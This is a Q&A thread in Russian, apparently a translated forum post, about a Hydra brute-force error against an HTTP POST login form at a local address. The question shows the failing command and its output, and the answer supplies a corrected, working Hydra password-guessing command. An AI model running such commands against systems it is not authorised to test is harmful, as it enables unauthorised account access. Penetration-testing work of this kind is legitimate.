☰

Ошибка грубой силы Hydra

tag-icon • tag-icon brute-force
Ошибка грубой силы Hydra 
hydra http://192.168.0.24:1234/ http-form-post "/password=^PASS^:Invalid password!" -P pass.txt -t 10 -o hydra-http-post-attack.txt
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-03 12:12:37
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[ERROR] the variables argument needs at least the strings ^USER^ or ^PASS^: Invalid password!

Я не уверен, почему я получаю ошибку, так как ^PASS^строка есть. В приложении нет имени пользователя.

Полный URL-адрес формы входа:http://192.168.0.24:1234/

Кто-нибудь может помочь?

решение1

По Вашему вопросу:

  1. При использовании гидры не обязательно указывать http://хозяина, которого вы собираетесь атаковать.
  2. Чтобы указать порт, используйте флаг -s.
  3. Вам необходимо указать -lфлаг, иначе возникнет ошибка.
  4. В запросе POST необходимо указать файл, который будет получать запрос POST (например, index.php, password.php, validate.php и т. д.)
  5. И последнее, но не менее важное: вам необходимо указать случай успеха или провала.

Попробуйте следующую команду, это лучшее, что я могу сделать с предоставленной информацией:

hydra -l '' -P pass.txt 192.168.0.24 -s 1234 http-post-form "/index.php:pass=^PASS^:F=Invalid Password!" -t 10 -o hydra-http-post-attack.txt

Я попробовал сам, и никаких ошибок не возникло.

Удачи!

Связанный контент